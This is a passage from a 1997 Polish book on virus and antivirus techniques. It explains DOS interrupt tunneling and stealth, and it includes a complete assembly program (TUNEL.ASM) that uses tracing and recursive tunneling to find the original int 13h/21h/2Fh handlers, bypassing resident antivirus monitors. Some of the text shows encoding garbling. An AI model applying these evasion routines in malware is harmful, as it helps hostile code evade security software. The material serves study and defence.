oryginalnego adresu przerwania 21h można zastosować tzw. tuneling rekursywny.
Polega on na tym, iż w otoczeniu aktualnej procedury obsługi przerwania (wskazywanej
przez tablicę przerwań), poszukuje się kodów wywołań dalekich procedur lub skoków,
dzięki którym zwykle przekazywane jest sterowanie do kolejnego elementu łańcucha
obsługi przerwania. Najczęściej łańcuch taki składa się z następujących sekwencji:
Element_l
......... ; pierwszy element │a˝cucha
Skok_do_Elementu_2
......... ; pami੠wykorzystywana przez inne
programy
Element_2 ......... ; drugi element │a˝cucha
Skok_do_Elementu_3
......... ; pami੠wykorzystywana przez inne
programy
Element_N ......... ; ostatni element │a˝cucha - poszukiwana
cz໩ systemu Powrˇt_Z_Elementu_N ; powrˇt poprzez rozkaz
IRET lub
; RETF 2 do elementu poprzedniego lub
bezpoťrednio
; do wywo│uj╣cego programu
Na przykład działanie procedury szukającej adresu przerwania 21h można sprowadzić
do następującej sekwencji:
mov ah,52h ; pobierz do ES:BX adres
struktury
int 21h ; LL (lista list)
mov bx,es
xor ax,ax ; ustaw adres DS:SI na adres
mov ds,ax ; przerwania 21h wskazywanego
mov si,21h*4 ; przez tablice przerwa˝
xchg ax,di ; DI=licznik sprawdzanych
bajtow=0
Adres 32:
Ids si,ds:[si] ; pobierz adres
or bx,bx ; czy koniec szukania ?
jz WSegmencieDOS ; TAK - powrˇt DS:SI-adres
mov ax,ds ; \ czy jest to segment DOS ?
cmp ax, bx ; /
jne NastepnyBajt ; TAK - znaleziony adres
xor bx,bx ; BX=0 oznacza koniec szukania
NastepnyBajt:
lodsw ; weč 2 bajty bŕd╣ce czŕťci╣
aktualnej procedury dec si ; sprawdzamy
co bajt
cmp al,9Ah ; czy jest to CALL FAR PTR ?
je Adres32 ; TAK - weč kolejny adres
cmp al,0EAh ; czy jest to JMP FAR PTR ?
je Adres32 ; TAK - weč kolejny adres
cmp ax,0FF2Eh ; czy jest to JMP FAR CS:DWORD ?
jne NieJMP_DWORD
cmp byte ptr [si+l],al ; czy dalsz╣ cz໩ rozkazu JMP
FAR CS:DWORD ?
jne NieJMP_DWORD
mov si,ds:[si+2] ; pobierz offset do danych dla
skoku jmp short Adres32 ; TAK - weč
kolejny adres
NieJMP_DWORD:
inc DI ; licznik sprawdzanych bajtˇw
and DI,4095 ; je┐eli sprawdzono ju┐ 4095
bajtˇw,
je Recursive21_Exit ; to ko˝cz, bo tuneling nie
dzia│a
jmp NastepnyBajt ; weč kolejny bajt
WSegmencieDOS:
............ ; adres zosta│ znaleziony (jest
w DS:SI)
RecursNieDzia│a:
............ ; adres nie zosta│ znaleziony
6.4.4. Trik2F/13
Do znalezienia oryginalnego programu obsługi przerwania 13h (obsługa fizycznych
dysków) w ROM-BIOS można zastosować funkcję (13/2F), która służy do ustawiania
nowej procedury obsługi dysków. Po jej wywołaniu dodatkowo zwracana jest informacja
o obecnej i pierwotnej (oryginalnej) procedurze obsługi tego przerwania [dokładniej:
zwracane są wartości parametrów z poprzedniego wywołania funkcji (13/2F)]. Funkcję tę
wykorzystuje IO.SYS przy starcie sy
stemu, aby przejąć kontrolę nad różnymi błędami pojawiającymi się przy dostępie do
dysków. To, że potrzebuje ona parametrów wejściowych, można pominąć, gdyż jej
dwukrotne wywołanie przywraca oryginalne ustawienia systemu. Poniższa sekwencja
pokazuje, jak za pomocą opisanej funkcji znaleźć oryginalny (o ile nie jest on
kontrolowany przez program antywirusowy) adres int 13h w ROM-BIOS-ie:
; Trik 2F/13
MOV AH,13h ; funkcja - ustaw obs│ugŕ dyskˇw DS:DX
adres
; procedury obs│ugi (mo┐na pomin╣Š gdy┐ za
; chwilŕ i tak zostanie przywrˇcona w│aťciwa
; procedura obs│ugi). ES:BX adres
procedury, ktˇra system
; bŕdzie ustawia│ jako procedurŕ obs│ugi
przerwania nr 13h
; przy ewentualnym zawieszeniu systemu lub po
wywo│aniu
; int 19h (tak┐e mo┐na pomin╣Š)
INT 2Fh ; wywo│aj funkcjŕ 13h
; po wywo│aniu ES:BX zwraca adres procedury,
ktˇra system
; ustawi jako int 13h w wy┐ej wymienionych
wypadkach, czyli
; zwykle bŕdzie to oryginalna procedura
obs│ugi przerwania
13h MOV SEG_13,ES ; trzeba zapamiŕtaŠ adres oryginalnej
procedury obs│ugi
MOV OFS_13,BX ; intl3h, znajduj╣cej siŕ w ES:BX
MOV AH,13h ; funkcja - ustaw obs│ugŕ dyskˇw DS:DX i
ES:BX to wartoťci
; z poprzedniego wywo│ania funkcji (13/2F)
INT 2Fh ; wywo│aj funkcjŕ 13h
Poniższy program znajduje (o ile to możliwe) wejścia do przerwań 21h, 13h, 2Fh, z
wykorzystaniem różnych technik tunelingowych-
;----------------------------------------------------------------
------------;
;
;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i
antywirusowe" ;
;
;
; TUNEL v1.0, Autor : Adam Blaszczyk 1997
;
;
;
; Program demonstruje uzycie kilku odmian tunelingu
;
; do znalezienia oryginalnych adresow przerwan
;
; - 13h (trik 2F/13, tryb krokowy)
;
; - 21h (tablica stalych adresow, tryb krokowy, tuneling
rekursywny) ;
; - 2Fh (tablica stalych adresow)
;
;
;
; Kompilacja :
;
; TASM TUNEL.ASM
;
; TLINK /t TUNEL.OBJ
;
;
;
;----------------------------------------------------------------
------------;
;
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do
deklaracji
CR = 0Dh ; / lancuchow napisowych
ON = 001h ; \ stale potrzebne do
obslugi
OFF = 002h ; / przerwania 1
PROG segment ; segment kodu i danych
ORG 100h ; program jest typu COM
Assume CS:PROG, DS:PROG, ES:PROG, SS:PROG
CodeStart: ; tu zaczyna sie program
lea si,TeCopyRight ; \ pokaz info o
programie
Call Print ; /
Call GetOriginal13 ; pokaz oryginalny adres
13h
Call GetOriginal21 ; pokaz oryginalny adres
21h
Call GetOriginal2F ; pokaz oryginalny adres
21h
mov ax, 4C00h ; \ koncz program i
powroc do DOSa
int 21h ; /
GetOriginal13 proc near ; procedura pobiera
oryginalny adres
; Int 13h (na dwa
sposoby) i wyswietla
; go
push si ; zachowaj zmieniany
rejestr
lea si,TeGet13 ; \ pokaz info o
przerwaniu 13h
Call Print ; /
Call Trik2F13 ; wez adres 13h
; metoda Trik 2F/13
Call ShowAddr ; pokaz adres 13h
Call Tracing13 ; wez adres 13h
; metoda tracingu
Call ShowAddr ; pokaz adres 13h
pop si ; przywroc zmieniany
rejestr
ret ; powrot z procedury
GetOriginal13 endp
Trik2F13 proc near ; procedura pobiera
oryginalny adres
; Int 13h wykorzystujac
funkcje 13h
; przerwania 2Fh
; (wewnetrzna funkcja
DOS)
push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
push dx ; /
push si ; /
lea si,TeTrik2F13 ; \ pokaz info o metodzie
Call Print ; / Trik 2F/13h
xor ax,ax ; \ zeruj zmienne
pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,13h ; \
int 2Fh ; \
; \
mov cs:ShowSeg,es ; \ trik 2F/13
mov cs:ShowOFS,bx ; /
; /
mov ah,13h ; /
int 2Fh ; /
pop si ; \
pop dx ; \
pop bx ; \ przywroc zmieniane
rejestry
pop ax ; /
pop es ; /
pop ds ; /
ret ; powrot z procedury
Trik2F13 endp
Tracing13 proc near ; procedura popbiera
oryginalny
; adres Int 13h,
wykorzystujac
; metode tracingu
push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
push cx ; /
push dx ; /
push si ; /
mov ShowError, offset TeTracingFail
; ewentualny komunikat o
bledzie
lea si,TeTracing13 ; \ wyswietl info o
metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne
pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,8 ; \ pobierz info o
twardym dysku
mov dl,80h ; \ i zachowaj na
pozniej wartosci
int 13h ; / rejestrow CX i DX;
beda one
mov MagicNum1,cx ; / potrzebne do
sprawdzenia czy
mov MagicNum2,dx ; / tracer jest juz w
dobrym kodzie
mov ax,3513h ; \ wez adres
przerwania Int 13h,
int 21h ; \ zeby mozna je bylo
przetrace'owac,
mov CallFarSeg,es ; / trzeba je emulowac
poprzez
mov CallFarOfs,bx ; / pushf/call dword
ptr Ofs:Seg
mov TraceMode,OFF ; flaga potrzebna
tracerowi
mov ax,3501h ; \ pobierz adres
obslugi
int 21h ; \ przerwania
krokowego Int 1
mov of1,bx ; \
mov se1,es ; \ i ustaw nowa
procedure jego
; - obslugi,
sprawdzajaca, czy
mov dx,offset Tracer_13 ; / funkcja zostala
juz wykonana
mov ax,2501h ; / przez BIOS
int 21h ; /
pushf ; \ wlacz tryb krokowy
pop ax ; \ procesora
or ah,1 ; \
push ax ; /
popf ; /
mov dl,80h ; parametr funkcji 08/int
13h = HD0
mov ah,08h ; numer funkcji BIOS
pushf ; czesc emulacji Int 13
mov TraceMode,ON ; wlacz flage tracera
Call dword ptr cs:IntAsFarCall
; emuluj int 13
mov TraceMode,OFF ; wylacz flage tracera
pushf ; \ wylacz tryb
krokowy
pop ax ; \ procesora
and ah,0FEH ; \
push ax ; /
popf ; /
lds dx,dword ptr cs:of1 ; \ przywroc stary adres
przerwania
mov ax,2501h ; / krokowego Int 1
int 21h ; /
pop si ; \
pop dx ; \
pop cx ; \ przywroc zmieniane
rejestry
pop bx ; /
pop ax ; /
pop es ; /
pop ds ; /
ret ; powrot z procedury
Tracing13 endp
Tracer_13 proc far
push bp ; zachowaj zmieniany
rejestr
mov bp,sp ; BP wskazuje na stos
; [bp+00] BP
; [bp+02] IP
; [bp+04] CS
; [bp+06] FLAGS
push ax ; zachowaj zmieniany
rejestr
cmp cs:TraceMode,ON ; czy wlaczony tracer ?
jne Tracer_13Exit ; jesli nie, to wyskocz z
procedury
mov ax,[bp+04] ; AX=CS image
cmp ax,cs:ShowSeg ; czy segment kodu ten
sam
je OldSeg13 ; tak=wyskocz procedury
; nie=zachowaj nowy adres
seg:ofs
mov cs:ShowSeg,ax ; AX=CS image
mov ax,[bp+02] ; AX=IP image
mov cs:ShowOfs,ax
OldSeg13:
cmp cx,cs:MagicNum1 ; \
jne Tracer_13Exit ; \ czy funkcja sie juz
wykonala ?
cmp dx,cs:MagicNum2 ; / nie=wyskocz z
procedury
jne Tracer_13Exit ; /
mov cs:TraceMode,OFF ; tak=wylacz tracer, bo
adres
; znaleziony
Tracer_13Exit: ; koniec przerwania Int 1
pop ax ; przywroc zmieniany
rejestr
or byte ptr [bp+7],1 ; [bp+06] FLAGS , ustaw
; bit TF dla nastepnego
rozkazu
; wykonywanego po IRET
pop bp ; przywroc zmieniany
rejestr
iret ; powrot z przerwania Int
1
Tracer_13 endp
GetOriginal21 proc near
push si ; zachowaj zmieniany
rejestr
lea si,TeGet21 ; \ pokaz info o
przerwaniu 21h
Call Print ; /
Call LookUpTable21 ; wez adres 21h
; tablica stalych adresow
Call ShowAddr ; pokaz adres 21h
Call Recursive21 ; wez adres 21h
; metoda tunelingu
rekursywnego
Call ShowAddr ; pokaz adres 21h
Call Tracing21 ; wez adres 21h
; metoda tracingu (tryb
krokowy)
Call ShowAddr ; pokaz adres 21h
pop si ; przywroc zmieniany
rejeetr
ret ; powrot z procedury
GetOriginal21 endp
LookUpTable21 proc near
push es ; \
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
push si ; /
lea si,TeLookUpTable21 ; \ wyswietl info o
metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne
pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ShowError, offset TeLookUpTableFailDOSVer
; ewentualny komunikat o
bledzie
mov ah,30h ; \ wez wersje DOS
int 21h ; /
xchg al,ah ; ax=wersja DOS,
ah=major,al=minor
mov bx,109Eh ; ofset dla DOS 5.0 -
6.22
cmp ax,0500h ; wersja musi byc wieksza
od 5.00
jb LookUpTable21_Exit ; mniejsza=tuneling nie
zadziala
cmp ax,0622h ; dla wersji wiekszej od
6.22
jbe DOSVerOk21 ; jest inny ofset
mov bx,0FB2h ; ofset dla DOS >6.22
(np. 7.0)
DOSVerOk21: ; ofset ustawiony
push bx ; zachowaj go na stosie
mov ah,52h ; \ pobierz do ES:BX
adres struktury
int 21h ; / LL (lista list)
pop bx ; przywroc ze stosu ofset
do skoku
mov ShowError, offset TeLookUpTableFailBadOfs
; ewentualny komunikat o
bledzie
; czy pod ES;BX jest
sekwencja
; 90 lub EB NOP \JMP
$+3
; 90 lub 03 NOP /
; E8 xx xx CALL
NEAR [IP+xxxx]
; 2E FF 2E yyyy JMP FAR
CS:[yyyy] ?
cmp word ptr es:[bx],9090h
je FirstCodeOK21 ; skocz, gdy sa 2 NOPy
cmp word ptr es:[bx],03EBh
jne LookUpTable21_Exit ; skocz, gdy JMP $+3
FirstCodeOK21:
cmp byte ptr es:[bx+2],0E8h ;
jne LookUpTable21_Exit ; skocz, gdy nie ma CALL
xxxx
cmp word ptr es:[bx+5],0FF2Eh
jne LookUpTable21_Exit ; skocz, gdy nie ma
czesci rozkazu jmp far
cmp byte ptr es:[bx+7],02Eh ;
jne LookUpTable21_Exit ; skocz, gdy nie ma
czesci rozkazu jmp far
mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres
oryginalnej procedury
les bx,dword ptr es:[bx] ; /
mov ShowSeg,es ; przepisz segment i
offset
mov ShowOfs,bx ; potrzebne do
wyswietlenia adresu
LookUpTable21_Exit: ; skacz tu, gdy jakis
blad
pop si
pop bx ; \
pop ax ; - przywroc zmieniane
rejeetry
pop es ; /
ret ; powrot z procedury
LookUpTable21 endp
Recursive21 proc near
push es ; \
push ds ; \
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
push si ; /
push di ; /
lea si,TeRecursive21 ; \ wyswietl info o
metodzie
Call Print ; /
mov ShowError, offset TeRecursive21Fail
; ewentualny komunikat o
bledzie
xor ax,ax ; \ zeruj zmienne
pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,52h ; \ pobierz do ES:BX
adres struktury
int 21h ; / LL (lista list)
mov bx,es
xor ax,ax ; ustaw adres DS:SI na
adres
mov ds,ax ; przerwania 21h
wskazywanego
mov si,21h*4 ; przez tablice przerwa˝
xchg ax,di ; DI=licznik sprawdzanych
bajtow=0
Adres32:
lds si,ds:[si] ; pobierz adres
or bx,bx ; czy koniec szukania ?
jz WSegmencieDOS ; TAK - powrot
DS:SI=adres
mov ax,ds ; \ czy jest to segment
DOS ?
cmp ax,bx ; /
jne NastepnyBajt ; TAK - znaleziony adres
xor bx,bx ; BX=0 oznacza koniec
szukania
NastepnyBajt:
lodsw ; wez 2 bajty bedace
czescia
; aktualnej procedury
dec si ; sprawdzamy co bajt
cmp al,9Ah ; czy jest to CALL FAR
PTR ?
je Adres32 ; TAK - wez kolejny adres
cmp al,0EAh ; czy jest to JMP FAR PTR
?
je Adres32 ; TAK - wez kolejny adres
cmp ax,0FF2Eh ; czy jest to JMP FAR
CS:DWORD ?
jne NieJMP_DWORD ;
cmp byte ptr [si+1],al ; czy dalsza czesc
rozkazu JMP FAR CS:DWORD ?
jne NieJMP_DWORD ;
mov si,ds:[si+2] ; pobierz ofset do danych
dla skoku
jmp short Adres32 ; TAK - wez kolejny adres
NieJMP_DWORD:
inc DI ; licznik sprawdzanych
bajtow
and DI,4095 ; jezeli sprawdzono juz >
4095 bajtow,
je Recursive21_Exit ; to koncz, bo tuneling
nie dziala
jmp NastepnyBajt ; wez kolejny bajt
WSegmencieDOS:
; adres zostal znaleziony
(jest w DS:SI)
mov cs:ShowSeg,ds ; przepisz segment i
offset
mov cs:ShowOfs,si ; potrzebne do
wyswietlenia adresu
Recursive21_Exit: ; skacz tu, gdy jakis
blad
pop di ; \
pop si ; \
pop bx ; \ przywroc zmieniane
rejeetry
pop ax ; /
pop ds ; /
pop es ; /
ret ; powrot z procedury
Recursive21 endp
Tracing21 proc near ; procedura popbiera
oryginalny
; adres Int 13h
wykorzystujac
; metode tracingu
push ds ; \
push es ; \
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
push cx ; /
push dx ; /
push si ; /
mov ShowError, offset TeTracingFail
; ewentualny komunikat o
bledzie
lea si,TeTracing21 ; \ wyswietl info o
metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne
pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ah,62h ; \ pobierz info o
aktualnym PSP
int 21h ; \ i zachowaj na
pozniej te wartosc
mov MagicNum1,bx ; / (rejestr BX) bedzie
ona
; / potrzebna, zeby
sprawdzic, czy
; / tracer jest juz w
dobrym kodzie
mov ax,3521h
int 21h ; \ wez adres
przerwania Int 21h,
mov CallFarSeg,es ; \ zeby mozna je bylo
przetrace'ow
mov CallFarOfs,bx ; / trzeba je emulowac
poprzez
; / pushf/call dword
ptr Ofs:Seg
mov TraceMode,OFF ; flaga potrzebna dla
tracera
mov ax,3501h ; \ pobierz adres
obslugi
int 21h ; \ przerwania
krokowego Int 1
mov of1,bx ; \
mov se1,es ; \ i zmien je na nowa
procedure
; - obslugi,
sprawdzajaca czy
mov dx,offset Tracer_21 ; / funkcja zostala
juz wykonana
mov ax,2501h ; / przez DOS
int 21h ; /
pushf ; \ wlacz tryb krokowy
pop ax ; \ procesora
or ah,1 ; \
push ax ; /
popf ; /
mov ah,62h ; numer funkcji DOS
pushf ; czesc emulacji Int 21
mov TraceMode,ON ; wlacz flage tracera
Call dword ptr cs:IntAsFarCall ; emuluj int 21
mov TraceMode,OFF ; wylacz flage tracera
pushf ; \ wylacz tryb
krokowy
pop ax ; \ procesora
and ah,0FEH ; \
push ax ; /
popf ; /
; \ przywroc stary adres
przerwania
lds dx,dword ptr cs:of1 ; / krokowego Int 1
mov ax,2501h ; /
int 21h
pop si ; \
pop dx ; \
pop cx ; \ przywroc zmieniane
rejestry
pop bx ; /
pop ax ; /
pop es ; /
pop ds ; /
ret ; powrot z procedury
Tracing21 endp
Tracer_21 proc far
push bp ; zachowaj zmieniany
rejestr
mov bp,sp ; BP wskazuje na stos
; [bp+00] BP
; [bp+02] IP
; [bp+04] CS
; [bp+06] FLAGS
push ax ; zachowaj zmieniany
rejestr
cmp cs:TraceMode,ON ; czy wlaczony tracer ?
jne Tracer_21Exit ; jesli nie, to wyskocz z
procedury
mov ax,[bp+04] ; AX=CS instrukcji
cmp ax,cs:ShowSeg ; czy segment kodu ten
sam
je OldSeg21 ; tak=wyskocz procedury
mov cs:ShowSeg,ax ; nie=zachowaj nowy adres
seg:ofs
mov ax,[bp+02] ; AX=CS instrukcji
mov cs:ShowOfs,ax ; AX=IP instrukcji
OldSeg21:
cmp bx,cs:MagicNum1 ; \
jne Tracer_21Exit ; \ czy funkcja juz sie
wykonala ?
; / nie=wyskocz z
procedury
mov cs:TraceMode,OFF ; / tak=wylacz tracer,
bo adres
; / znaleziony
Tracer_21Exit: ; koniec przerwania Int 1
pop ax ; przywroc zmieniany
rejestr
or byte ptr [bp+7],1 ; [bp+06] FLAGS, ustaw
; bit TF dla nastepnego
rozkazu
; wykonywanego po IRET
pop bp ; przywroc zmieniany
rejestr
iret ; powrot z przerwania Int
1
Tracer_21 endp
GetOriginal2F proc near
push si ; zachowaj zmieniany
rejestr
lea si,TeGet2F ; \ pokaz info o
przerwaniu 2Fh
Call Print ; /
Call LookUpTable2F ; wez adres 2Fh
; tablica stalych adresow
Call ShowAddr ; pokaz adres 21h
pop si ; przywroc zmieniany
rejestr
ret ; powrot z procedury
GetOriginal2F endp
LookUpTable2F proc near
push es ; \
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
push si ; /
lea si,TeLookUpTable2F ; \ wyswietl info o
metodzie
Call Print ; /
xor ax,ax ; \ zeruj zmienne
pomocnicze
mov ShowSeg,ax ; /
mov ShowOfs,ax ; /
mov ShowError, offset TeLookUpTableFailDOSVer
; ewentualny komunikat o
bledzie
mov ah,30h ; \ wez wersje DOS
int 21h ; /
xchg al,ah ; ax=wersja DOS,
ah=major,al=minor
mov bx,10C6h ; ofset dla DOS 5.0 -
6.22
cmp ax,0500h ; wersja musi byc wieksza
od 5.00
jb LookUpTable2F_Exit ; mniejsza=tuneling nie
zadziala
cmp ax,0622h ; dla wersji wiekszej od
6.22
jbe DOSVerOk2F ; jest inny ofset
mov bx,0FDAh ; ofset dla DOS >6.22
(np. 7.0)
DOSVerOk2F: ; ofset ustawiony
push bx ; zachowaj go na stosie
mov ah,52h ; \ pobierz do ES:BX
adres struktury
int 21h ; / LL (lista list)
pop bx ; przywroc ze stosu ofset
do skoku
mov ShowError, offset TeLookUpTableFailBadOfs
; ewentualny komunikat o
bledzie
; czy pod ES;BX jest
sekwencja
; 90 lub EB NOP \JMP
$+3
; 90 lub 03 NOP /
; E8 xx xx CALL
NEAR [IP+xxxx]
; 2E FF 2E yyyy JMP FAR
CS:[yyyy] ?
cmp word ptr es:[bx],9090h
je FirstCodeOK2F ; skocz, gdy sa 2-a NOPy
cmp word ptr es:[bx],03EBh
jne LookUpTable2F_Exit ; skocz, gdy JMP $+3
FirstCodeOK2F:
cmp byte ptr es:[bx+2],0E8h ;
jne LookUpTable2F_Exit ; skocz, gdy nie ma CALL
xxxx
cmp word ptr es:[bx+5],0FF2Eh
jne LookUpTable2F_Exit ; skocz, gdy nie ma
czesci rozkazu jmp far
cmp byte ptr es:[bx+7],02Eh ;
jne LookUpTable2F_Exit ; skocz, gdy nie ma
czesci rozkazu jmp far
mov bx,word ptr es:[bx+8] ; \ pobierz [yyyy]=adres
oryginalnej procedury
les bx,dword ptr es:[bx] ; /
mov ShowSeg,es ; przepisz segment i
ofset
mov ShowOfs,bx ; potrzebne do
wyswietlenia adresu
LookUpTable2F_Exit: ; skacz tu, gdy jakis
blad
pop si
pop bx ; \
pop ax ; - przywroc zmieniane
rejestry
pop es ; /
ret ; powrot z procedury
LookUpTable2F endp
ShowAddr proc near ; wyswietl adres w
postaci
; seg:ofs heksalnie na
podstawie
; zawartosci zmiennych
; ShowSeg i ShowOfs
push ax ; \ zachowaj zmieniany
rejestr
push si ; /
mov si,ShowError ; \ wez adres komunikatu
o ewentualnym
; / bledzie
mov ax,ShowSeg ; czy seg i ofs sa
wyzerowane,
or ax,ShowOfs ; tzn czy nie znaleziono
adresu ?
jz ShowAddrError ; tak=nie znaleziono
adresu
mov ax,ShowSeg ; \ wyswietl segment
Call PrintHexDW ; /
mov al,':' ; \ wyswietl dwukropek
Call PrintChar ; /
mov ax,ShowOfs ; \ wyswietl ofset
Call PrintHexDW ; /
lea si,TeCRLF ; \ wyswietl CR,LF,
ShowAddrError: ; - czyli przejdz do
nastepnego wiersza
Call Print ; / lub komunikat o
bledzie
pop si ; \
pop ax ; / przywroc zmieniany
rejestr
ret ; powrot z procedury
ShowAddr endp
PrintHexDW proc near ; procedura wyswietla
heksalnie
; liczbe zawarta w AX
push ax ; \ zachowaj zmieniane
rejestry
push bx ; /
lea bx,HexChars ; bx wskazuje na tablice
konwersji
; liczb heksadecymalnych
0..F
Call PrintHex ; wyswietl liczbe w AX
pop bx ; \ przywroc zmieniane
rejestry
pop ax ; /
ret ; powrot z procedury
PrintHexDW endp
PrintHex proc near
push ax ; zachowaj mlodsza czesc
adresu
mov al,ah ; AL=starsza czesc adresu
Call PrintHexDB ; wyswietl starsza czesc
adresu
pop ax ; przywroc mlodsza czesc
adresu
PrintHexDB: ; wyswietl czesc adresu z
al
mov ah,al ; zachowaj na chwile te
czesc
shr al,1 ; \ wyswietl starsza
czesc bajtu
shr al,1 ; \ al przesuniete o 4
w prawo
shr al,1 ; \
shr al,1 ; /
xlat byte ptr cs:[bx] ; / al=[bx+al]
Call PrintChar ; / wyswietl znak w AL
mov al,ah ; \ wyswietl mlodsza
czesc bajtu
and al,15 ; \ al zamaskowane z
00001111b
xlat byte ptr cs:[bx] ; / al=[bx+al]
Call PrintChar ; / wyswietl znak w AL
ret ; powrot z procedury
PrintHex endp
Print proc near ; procedura wyswietla
tekst ASCIIZ
; spod adresu CS:SI
push ax ; \ zachowaj zmieniane
rejestry
push si ; /
GetNextChar:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem
jz PrintExit ; tak=koniec napisu;
wyjdz z petli
Call PrintChar ; nie=wyswietl znak w AL
;
jmp short GetNextChar ; i wez nastepny znak
PrintExit:
pop si ; \ przywroc zmieniane
rejestry
pop ax ; /
ret ; powrot z procedury
Print endp
PrintChar proc near ; procedura wyswietla
znak w AL
push ax ; zachowaj zmieniany
rejestr
mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak w AL
pop ax ; przywroc zmieniany
rejestr
ret ; powrot z procedury
PrintChar endp
TeCopyRight:
db CR,LF,'TUNEL v1.0, Autor : Adam Blaszczyk
1997',NUL
TeGet13 db CR,LF,'Adres oryginalnej procedury 13h : '
db CR,LF,NUL
TeGet21 db CR,LF,'Adres oryginalnej procedury 21h : '
db CR,LF,NUL
TeGet2F db CR,LF,'Adres oryginalnej procedury 2Fh : '
TeCRLF db CR,LF,NUL
TeTrik2F13 db ' _ trik Int 2Fh/13h :=
',NUL
TeTracing13 db ' _ tracing 13h :=
',NUL
TeLookUpTable21 db ' _ tablica stalych adresow 21h :=
',NUL
TeRecursive21 db ' _ tuneling rekursywny 21h :=
',NUL
TeTracing21 db ' _ tracing 21h :=
',NUL
TeLookUpTable2F db ' _ tablica stalych adresow 2Fh :=
',NUL
TeLookUpTableFailBadOfs db 'Blad : Zla kombinacja kodu',CR,LF,NUL
TeLookUpTableFailDOSVer db 'Blad : Wersja DOS musi byc
>5.0',CR,LF,NUL
TeTracingFail db 'Blad : Tracing nie dziala',CR,LF,NUL
TeRecursive21Fail db 'Blad : Tuneling rekursywny nie
dziala',CR,LF,NUL
HexChars db '0123456789ABCDEF'
ShowSeg dw ? ; zmienne pomocnicze do
zachowywania
ShowOfs dw ? ; znalezionego adresu
ShowError dw ? ; zmienna dla
ewentualnych bledow
of1 dw ? ; zmienne potrzebne do
zachowywania
se1 dw ? ; adresu Int 1
IntAsFarCall label dword ; adres dalekiej
procedury sluzacej do
CallFarOfs dw ? ; emulacji instrukcji INT
CallFarSeg dw ?
TraceMode db ? ; flaga ON=wlaczony/OFF=
wlaczony tracer
MagicNum1 dw ? ; zmienne pomocnicze do
przechowywania
MagicNum2 dw ? ; wartosci potrzebnych do
sprawdzenia czy
; jestesmy juz we
wlasciwym kodzie DOS/BIOS
PROG ends ; koniec segmentu kodu i
danych
end CodeStart ; koniec programu,
pierwsza instrukcja
; pod etykieta CodeStart
6.5. Wykorzystanie trybu chronionego
Tryb chroniony nie jest zbyt często wykorzystywany przez wirusy, jednak kilka z nich
używa go do przejmowania przerwań. Po zainstalowaniu (co wiąże się z przejściem do
trybu chronionego) każde odwołanie do jakiegokolwiek przerwania będzie kierowane
najpierw do wirusa, a dopiero ten przekaże je do oszukiwanego systemu poprzez
chwilowe przejście (ang. redirection) do trybu rzeczywistego (lub trybu V86). Ponadto,
aby utrudnić wykrycie wirusa w pamięci, można po instalacji przenieść jego kod do
pamięci powyżej 1MB.
W przypadku systemu Windows do przejmowania przerwań można wykorzystać fakt, iż
udostępnia on programom usługi specyfikacji DPMI (ang. DOS Protected Mode
Interface).
Do przejmowania przerwań służą funkcje:
> 0200h - odczytanie wektora przerwań trybu rzeczywistego;
> 0201h - zapisanie wektora przerwań trybu rzeczywistego;
> 0202h - odczytanie adresu procedury obsługi wyjątku;
> 0203h - ustawienie adresu procedury obsługi wyjątku;
> 0204h - odczytanie wektora przerwań trybu wirtualnego;
> 0205h - zapisanie wektora przerwań trybu wirtualnego;
Powyższe funkcje są dostępne w trybie chronionym za pośrednictwem przerwania 31h.
Przed ich użyciem należy sprawdzić, czy DPMI jest dostępne, za pomocą funkcji
(1687/2F). Dokładniejsze informacje na temat specyfikacji DPMI oraz trybu chronionego
zawarte są w pozycjach [l] i [6] ze spisu na końcu książki.
6.6. Włączanie się jako program obsługi urządzenia
Jednym z wirusów stosujących tę metodę jest wymieniany już wirus DIR-2. Zamienia on
oryginalną procedurę obsługi dysków poprzez manipulację na strukturach DPB, co
zostało dokładniej omówione przy okazji omawiania wirusów zarażających JAP
ROZDZIAŁ 7
Każdemu twórcy wirusa zależy na tym, aby jego dzieło jak najdłużej pozostawało nie
wykryte przez użytkownika zainfekowanego systemu. Jest to zrozumiałe, gdyż wykrycie
wirusa zwykle kończy się tym, iż w niedługim czasie wpada on w ręce osób piszących
programy antywirusowe, a to owocuje napisaniem szczepionki, za sprawą której wirus
znika wkrótce z wirusowej sceny.
Niniejszy rozdział opisuje kilka najczęściej stosowanych przez wirusy technik ukrywania
się w systemie operacyjnym. Niektóre z nich wymagają stałej obecności wirusa w
pamięci, inne sprowadzają się do wykonania kilku operacji, które niejako na stałe
ukrywają wirusa przed oczyma ciekawskich.
7.1. Technika stealth
Wirusy komputerowe modyfikują pliki i sektory, zmieniając ich zawartość (w przypadku
plików zwykle powiększają jeszcze ich długość). Teoretycznie więc, aby wykryć wirusa,
wystarczy odczytać plik lub sektor i odnaleźć w nim, przy użyciu skaningu, odpowiednią
sekwencję (sygnaturę) wirusa. I rzeczywiście, metoda ta stosowana była z dużym
powodzeniem aż do momentu, gdy pojawił się pierwszy wirus używający techniki
stealth. Słowo stealth znaczy po angielsku niewidzialny. Takimi właśnie wydają się
wirusy używające tej ciekawej sztuczki, która polega na kontroli odpowiednich funkcji
systemu DOS lub BIOS, obsługujących pamięć i operacje dyskowe.
W momencie próby dowolnego dostępu do zainfekowanego pliku lub sektora
uruchamiane są mechanizmy wirusa, które mają na celu oszukanie użytkownika.
Oszustwo polega na tym, iż fizycznie zarażony obiekt, po odpowiedniej obróbce przez
